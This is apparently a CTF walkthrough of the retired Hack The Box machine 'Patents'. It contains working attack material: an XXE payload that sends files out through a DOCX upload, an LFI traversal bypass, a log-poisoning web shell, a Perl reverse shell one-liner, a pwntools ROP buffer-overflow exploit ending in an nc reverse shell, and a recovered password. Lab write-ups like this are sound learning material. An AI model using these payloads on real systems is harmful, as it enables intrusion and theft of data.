This post documents the complete walkthrough of Patents, a retired vulnerable VM created by gbyolo, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.

On this post


Patents is a retired vulnerable VM from Hack The Box.

Information Gathering

Let’s start with a masscan probe to establish the open ports in the host.

# masscan -e tun1 -p1-65535,U:1-65535 --rate=700

Starting masscan 1.0.5 ( at 2020-01-20 02:12:39 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 22/tcp on
Discovered open port 80/tcp on
Discovered open port 8888/tcp on

Other than the usual ports, port 8888/tcp sure looks interesting. Let’s do one better with nmap scanning the discovered ports to establish their services.

# nmap -n -v -Pn -p22,80,8888 -A --reason -oN nmap.txt
22/tcp   open  ssh             syn-ack ttl 63 OpenSSH 7.7p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 39:b6:84:a7:a7:f3:c2:4f:38:db:fc:2a:dd:26:4e:67 (RSA)
|   256 b1:cd:18:c7:1d:df:57:c1:d2:61:31:89:9e:11:f5:65 (ECDSA)
|_  256 73:37:88:6a:2e:b8:01:4e:65:f7:f8:5e:47:f6:10:c4 (ED25519)
80/tcp   open  http            syn-ack ttl 62 Apache httpd 2.4.29 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 57E2685CB1CD9B0F1ADA444F3CFF20C6
| http-methods:
|_  Supported Methods: POST OPTIONS HEAD GET
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: MEOW Inc. - Patents Management
8888/tcp open  sun-answerbook? syn-ack ttl 63
| fingerprint-strings:
|   Help, LPDString, LSCP:
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at :

Hmm. nmap is not saying much on the mysterious open port. Anyway, this is how the site looks like.

Directory/File Enumeration

Let’s see what we can glean from wfuzz and quickhits.txt from SecLists.

# wfuzz -w quickhits.txt -t 100 --hc '403,404'
* Wfuzz 2.4 - The Web Fuzzer                           *

Total requests: 2439

ID           Response   Lines    Word     Chars       Payload

000000071:   200        7 L      28 W     6148 Ch     "/.DS_Store"
000000934:   200        1 L      0 W      1 Ch        "/config.php"
000002261:   200        120 L    353 W    5528 Ch     "/upload.html"
000002262:   200        16 L     73 W     589 Ch      "/upload.php"

Total time: 9.380824
Processed Requests: 2439
Filtered Requests: 2435
Requests/sec.: 259.9984

Hmm, .DS_Store. Someone is using Mac? Anyways, looks like we have two versions of an uploading feature.



Having said that, both files are pointing to the same convert.php.



Let’s switch gears to another wordlist and see what we can discover this time.

# wfuzz -w common.txt -t 100 --hc '403,404'
* Wfuzz 2.4 - The Web Fuzzer                           *

Total requests: 4652

ID           Response   Lines    Word     Chars       Payload

000002148:   200        340 L    770 W    12548 Ch    "index"
000002150:   200        340 L    770 W    12548 Ch    "index.html"
000002913:   301        9 L      28 W     313 Ch      "output"
000002971:   301        9 L      28 W     314 Ch      "patents"
000003251:   200        437 L    986 W    16064 Ch    "profile"
000003428:   301        9 L      28 W     314 Ch      "release"
000003894:   301        9 L      28 W     313 Ch      "static"
000004243:   200        120 L    353 W    5528 Ch     "upload"
000004252:   301        9 L      28 W     314 Ch      "uploads"
000004320:   301        9 L      28 W     313 Ch      "vendor"

Total time: 13.41015
Processed Requests: 4652
Filtered Requests: 4642
Requests/sec.: 346.9012

Ok. This time round we have some directories (the 301s). Let’s try quickhits.txt on /vendor.

# wfuzz -w quickhits.txt -t 100 --hc '403,404'
* Wfuzz 2.4 - The Web Fuzzer                           *

Total requests: 2439

ID           Response   Lines    Word     Chars       Payload

000000900:   200        848 L    1549 W   26980 Ch    "/composer/installed.json"

Total time: 10.21482
Processed Requests: 2439
Filtered Requests: 2438
Requests/sec.: 238.7706

Interesting. What have we here? Composer is used and installed.json contains the external PHP packages installed.

# curl -s | jq '.[] | {name}' | tr -d '{}' | sed -r '/^$/d' | cut -d':' -f2 | tr -d '" '

Long story short, a hint from the creator was needed to get that initial foothold.

After testing several wordlists from the raft series in SecLists, I managed to stumble upon the right one.

# wfuzz -w raft-large-words.txt -t 100 --hc '403,404'
* Wfuzz 2.4 - The Web Fuzzer                           *

Total requests: 119600

ID           Response   Lines    Word     Chars       Payload

000076827:   200        17 L     104 W    758 Ch      "UpdateDetails"

Total time: 342.9610
Processed Requests: 119600
Filtered Requests: 119599
Requests/sec.: 348.7276

Something about entity parsing in the custom folder caught my eye. If I had to guess, I would say it means that XXE injection is possible in Microsoft Office Word’s custom XML.

XXE Injection

Let’s give it a shot. Here’s my game plan.

  1. First, we create an empty DOCX file with a custom XML part. Note that the XML must be valid.
  2. Inject XXE payload.
  3. Upload to test.
  4. Repeat step 2 for different payloads.

Create DOCX file with custom XML part

Easy. Refer to this video.

XXE payload

You can see that a customXml folder is present in the DOCX file.

Extract it out like so.

# 7z e test.docx customXml

Inject a XXE payload with a text editor.

# vi customXml/item1.xml

Update the DOCX file with the changes.

# zip -u test.docx -r customXml/

Upload to test

What you see above is the blind XXE where we try to load a remote resource. In our case, that remote resource is from my SimpleHTTPServer. The objective is to see if we are able to solicit any kind of response from the server.


XXE OOB with DTD and PHP filter

Now, let’s move on to the next payload: XXE OOB with DTD and PHP filter.

<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM ';'>">

See what’s displayed on my SimpleHTTPServer.

# python -m SimpleHTTPServer 80
Serving HTTP on port 80 ... - - [25/Jan/2020 05:46:26] "GET /dtd.xml HTTP/1.0" 200 - - - [25/Jan/2020 05:46:26] "GET /dtd.xml?cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovdmFyL3J1bi9pcmNkOi91c3Ivc2Jpbi9ub2xvZ2luCmduYXRzOng6NDE6NDE6R25hdHMgQnVnLVJlcG9ydGluZyBTeXN0ZW0gKGFkbWluKTovdmFyL2xpYi9nbmF0czovdXNyL3NiaW4vbm9sb2dpbgpub2JvZHk6eDo2NTUzNDo2NTUzNDpub2JvZHk6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCl9hcHQ6eDoxMDA6NjU1MzQ6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgpnYnlvbG86eDoxMDAwOjEwMDA6Oi9ob21lL2dieW9sbzovYmluL2Jhc2gK HTTP/1.0" 200 -

base64-encoded /etc/passwd from the server, which is decoded to:

list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin

With that in mind, let’s write a simple shell script to exfiltrate any file we have read permissions on. Notice I’m chaining PHP filters to reduce the size.


cat <<EOF > dtd.xml
<!ENTITY % data SYSTEM "php://filter/zlib.deflate/convert.base64-encode/resource=$FILE">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM ';'>">

curl -s \
     -H "Expect: " \
     -F "[email protected];type=application/vnd.openxmlformats-officedocument.wordprocessingml.document" \
     -F "submit=Generate pdf" \
     -o /dev/null \

I’m also piping my SimpleHTTPServer output to the following to display only the pertinent information.

# python -m SimpleHTTPServer 80 2>&1 | stdbuf -o0 grep -Eo 'dtd\.xml\?.* ' | stdbuf -o0 cut -d' ' -f1 | stdbuf -o0 cut -c9-

Let’s exfiltrate config.php.

Here, I’m using CyberChef to reconstruct the actual file back. Looks like we have a purposely-named file that prevents discovery by any wordlists.


//ini_set('display_errors', 1);
//header("Content-type: text/plain");

require __DIR__ . '/vendor/autoload.php';


use Gears;

$uploaddir = 'uploads/';

<!DOCTYPE html>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=0">
        <link rel="shortcut icon" type="image/x-icon" href="static/assets/img/favicon.png">
        <title>Upload - MEOW Inc. - Patents Management Management</title>
		<link href=",400,500,600,700" rel="stylesheet">
        <link rel="stylesheet" type="text/css" href="static/assets/css/bootstrap.min.css">
		<link rel="stylesheet" type="text/css" href="static/assets/css/line-awesome.min.css">
		<link rel="stylesheet" type="text/css" href="static/assets/css/dataTables.bootstrap.min.css">
        <link rel="stylesheet" type="text/css" href="static/assets/css/font-awesome.min.css">
        <link rel="stylesheet" type="text/css" href="static/assets/css/style.css">
		<!--[if lt IE 9]>
			<script src="static/assets/js/html5shiv.min.js"></script>
			<script src="static/assets/js/respond.min.js"></script>
        <div class="main-wrapper">
            <div class="header">
                <div class="header-left">
                    <a href="index.html" class="logo">
						<img src="static/assets/img/logo.png" width="50" height="50" alt="">
				<a id="toggle_btn" href="javascript:void(0);"><i class="la la-bars"></i></a>
                <div class="page-title-box pull-left">
					<h3>MEOW Inc. - Patents Management</h3>
				<a id="mobile_btn" class="mobile_btn pull-left" href="#sidebar"><i class="fa fa-bars" aria-hidden="true"></i></a>
				<ul class="nav navbar-nav navbar-right user-menu pull-right">
					<li class="dropdown">
						<a href="profile.html" class="dropdown-toggle user-link" data-toggle="dropdown" title="Admin">
							<span class="user-img"><img class="img-circle" src="static/assets/img/user.jpg" width="40" alt="Admin">
							<span class="status online"></span></span>
							<span>Ajeje Brazorf</span>
							<i class="caret"></i>
						<ul class="dropdown-menu">
							<li><a href="profile.html">My Profile</a></li>
							<li><a href="edit-profile.html">Edit Profile</a></li>
				<div class="dropdown mobile-user-menu pull-right">
					<a href="#" class="dropdown-toggle" data-toggle="dropdown" aria-expanded="false"><i class="fa fa-ellipsis-v"></i></a>
					<ul class="dropdown-menu pull-right">
						<li><a href="profile.html">My Profile</a></li>
						<li><a href="edit-profile.html">Edit Profile</a></li>
            <div class="sidebar" id="sidebar">
                <div class="sidebar-inner slimscroll">
					<div id="sidebar-menu" class="sidebar-menu">
							<li class="submenu">
								<a href="#" class="noti-dot"><i class="la la-user"></i> <span> Patents</span> <span class="menu-arrow"></span></a>
								<ul style="display: none;">
									<li><a href="index.html">All Patents</a></li>
									<li><a href="upload.html">Upload patent</a></li>
            <div class="page-wrapper">
                <div class="content container-fluid center">
                	<div class="row">
                		<div class="col-sm-8">
                			<h4 class="page-title">Read a patent</h4>
                	<div class="row">
                		<div class="col">
                	<div class="row">
                		<div class="col">
                			<span>Here you can read submitted patents. Being it an experimental feature yet, read your patents using <pre>?id=#ID_OF_YOUR_PATENT.</pre></span>

							if (isset($_GET["id"])) {
							    $id = $_GET["id"];
							    $file = str_replace("../","",PATENTS_DIR . $id);  
							    echo "<div class=\"row mt-3\"> <div class=\"col\">";
						            echo "<span>ID: $id</span></div> <div class=\"col\">";
							    echo " <pre>";
							    include(__DIR__ . $file);
							    echo "</pre></div></div>";
		<div class="sidebar-overlay" data-reff="#sidebar"></div>
        <script type="text/javascript" src="static/assets/js/jquery-3.2.1.min.js"></script>
        <script type="text/javascript" src="static/assets/js/bootstrap.min.js"></script>
		<script type="text/javascript" src="static/assets/js/jquery.dataTables.min.js"></script>
		<script type="text/javascript" src="static/assets/js/dataTables.bootstrap.min.js"></script>
		<script type="text/javascript" src="static/assets/js/jquery.slimscroll.js"></script>
		<script type="text/javascript" src="static/assets/js/app.js"></script>

Directory Traversal and Local File Inclusion Vulnerability

Looks like there’s a directory traversal and LFI vulnerability with the id parameter in getPatent_alphav1.0.php. After all, gbyolo is right to say that str_replace is not a real fix. Armed with this insight, let’s write another shell script to exploit the LFI vulnerability to read files.


curl -s \
     $URL \
| sed '/<pre>/,/<\/pre>/!d' \
| sed 1,4d \
| xmllint --recover --xpath "//pre" - 2>/dev/null \
| sed -r 's/<\/?pre\/?>//g'

Notice how I was able to bypass str_replace() to achieve directory traversal? Now, let’s see if we can access files that will allow log poisoning later on. For brevity’s sake, I was able to access /var/log/apache/error.log for log poisoning.

I poisoned it with the following command:

# curl -H "Referer: <?php phpinfo(); ?>"

And you should get something like this.

Remote Command Execution

Next up, let’s see if we can get remote command execution from log poisoning with the following:

# curl -H "Referer: <style type='text/css'>body { background-color: black; } #dipshit { background-color: white; color: black; }</style><div id='dipshit'><pre><?php echo shell_exec(\$_GET[0]); ?></pre></div>"

If everything went well, we should see something like this responding to the following URL.

Low-Privileged Shell

Time to get that shell with a Perl one-liner.

perl -e 'use Socket;$i="";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

Finally but the euphoria didn’t last long because the user.txt is held by root and the web server is hosted in a docker container.

Which means that we need to find the root’s password on this docker container. :angry:

Process monitoring with pspy64

Hmm. gbyolo is not as security conscious as we thought! Armed with the root’s password (!gby0l0r0ck$$!), we can easily get user.txt.

Privilege Escalation

At long last we have some information about the mysterious open port 8888/tcp, other than getting “LFM 400 BAD REQUEST” with everything thrown at it.
#!/usr/bin/env python
import sys
import os
from utils import md5,recvline
import socket

INPUTREQ = "CHECK /{} LFM\r\nUser={}\r\nPassword={}\r\n\r\n{}\n"

if len(sys.argv) != 5:
    print "Usage: " + sys.argv[0] + " <host>:<port> <user> <pass> <file>"

HOST = sys.argv[1]
var = HOST.split(":")

if len(var) != 2:
    print "Usage: " + sys.argv[0] + " <host>:<port> <user> <pass> <file>"

    PORT = int(var[1])
except ValueError:
    print "Port number must be integer"

HOST = var[0]

#print "Connecting to " + HOST + ":" + str(PORT)

USER = sys.argv[2]

    PASS = os.environ[sys.argv[3]]
except KeyError:
    print "Couldn't find such password"

FILE = sys.argv[4]

# At this point PASS is well-defined
base = os.path.basename(FILE)

    md5sum = md5(FILE)
except IOError:
    print "File not found locally"

REALREQ = INPUTREQ.format(base, USER, PASS, md5sum)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((HOST, PORT))
resp = s.recv(4096)

#print resp

if "LFM 200 OK" in resp:
    #print "File OK, no need to download"

if "404" in resp:
    print "File not found on server"

#print "File corrupted, need to download it"

REQ = "GET /{} LFM\r\n\r\n".format(base)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
resp = s.recv(8192)

#if resp[-1] == '\n':
#    resp = resp[:-1]
#if resp[-1] == '\r':
#    resp = resp[:-1]


with open("{}.new".format(base), "wb") as f:

print "{}.new".format(base)

Lightweight File Manager LFM Protocol

On top of that, during enumeration of gbyolo’s account, I notice the git repository to lfmserver’s source code.

Here’s some of the commit logs.

Checking out commit 1bbc51851 reveals the protocol.

Vulnerability Analysis of lfmserver

From the README above, it’s evident that if we are to exploit the LFM protocol, it must have something to do with the input, and we have three methods to play with, namely, CHECK, GET and PUT. However, looking at the source code for the LFM protocol implementation, we can’t find the handler for the respective methods.

Fret not. We have lfmserver; we can reverse-engineer the handlers. Long story short, the vulnerability lies in the handle_check function.

This is where (in handle_lfm_connection) we call the handle_check function. Right after we enter the function, we have a 160-byte buffer for storing the file path after URL decoding. I smell buffer overflow!

Controlling the offset to the return address

Here, I was able to control the offset to the return address with this little test script.

MD5="$(md5sum $FILE | cut -d' ' -f1)"
PAY="$(perl -e 'print "A" x 107 . "B" x 6' | xxd -p | tr -d '\n' | sed -r 's/(..)/%\1/g')"

echo -ne "CHECK /${TRAV}${FILE}%00${PAY} LFM\r\nUSER=$USER\r\nPASSWORD=$PASS\r\n\r\n$MD5\n" \
| nc $HOST $PORT

Exploit Development of lfmserver

Before we go on, there’s an important information in commit a900ccf7 about the libc(7) used in compiling lfmserver. You can download it from here.

We can build upon our test script to develop an actual exploit for lfmserver with pwntools. Here’s my exploit code.
from pwn import *

# Context
context.binary = "./lfmserver"
libc = ELF("./")

# Connection information
host = ""
port = 8888

# LFM authentication / md5sum
user      = "lfmserver_user"
password  = "!gby0l0r0ck$$!"
guarantee = "/proc/sys/kernel/randomize_va_space" # guaranteed to be same on both sides; ASLR is enabled
md5sum    = "26ab0db90d72e28ad0ba1e22ee510510"    # md5sum("/proc/sys/kernel/randomize_va_space")

def encode(string):
    return ''.join("%%%02x" % ord(c) for c in string)

def genrequest(payload):
	traversal     = "../../../../../.."
	offset_to_ret = "A" * 107

	filepath  = encode(traversal)
	filepath += guarantee + "%00"
	filepath += encode(offset_to_ret)
	filepath += encode(payload)

	request = "CHECK /{} LFM\r\nUser={}\r\nPassword={}\r\n\r\n{}\n".format(filepath, user, password, md5sum)
	return request

# ROPgadget --binary lfmserver
0x0000000000405c4b : pop rdi ; ret
0x0000000000405c49 : pop rsi ; pop r15 ; ret
pop_rdi_ret     = 0x405c4b
pop_rsi_pop_ret = 0x405c49
skip            = 0xdeadbeef

# Leak libc
r = remote(host, port)

rop  = ""
rop += p64(pop_rdi_ret)
rop += p64(6)
rop += p64(pop_rsi_pop_ret)
rop += p64(["dup2"])
rop += p64(skip)
rop += p64(context.binary.symbols["write"])


leaked = r.recvall().split('\n')[4][1:7]
leaked = unpack(leaked, 48)
libc.address = leaked - libc.symbols["dup2"]

success("libc base: %s" % hex(libc.address))

# Time for shell
r = remote(host, port)

# dup2(6, 0), dup2(6, 1), dup2(6, 2)
payload = ""
for fd in range(3):
	payload += p64(pop_rdi_ret)
	payload += p64(6)
	payload += p64(pop_rsi_pop_ret)
	payload += p64(fd)
	payload += p64(skip)
	payload += p64(libc.symbols["dup2"])

# one_gadget
0x50186 execve("/bin/sh", rsp+0x40, environ)
  rsp & 0xf == 0
  rcx == NULL

0x501e3 execve("/bin/sh", rsp+0x40, environ)
  [rsp+0x40] == NULL

0x103f50 execve("/bin/sh", rsp+0x70, environ)
  [rsp+0x70] == NULL
payload += p64(libc.address + 0x501e3) # found to work from trial-n-error

r.sendline("rm -rf /tmp/p; mknod /tmp/p p; /bin/bash </tmp/p | nc 1234 >/tmp/p")

Let’s give it a shot. We need to set up a nc listener by the way because our payload is a reverse shell.


Getting root.txt

I got kicked hard in the nuts, this one. I ran all the docker images including the hidden ones thinking that root.txt in one of them. Boy, was I wrong! In the end, the real /root mount point was hidden from me because of the Linux filesystem hierarchy.

See? If I navigate to /root, I’m actually looking at /dev/sdb1. So, in order to get to /dev/sda2 mounted at /, I can mount /dev/sda2 at another location, e.g. /tmp/gbyolo.

With that, getting root.txt is easy.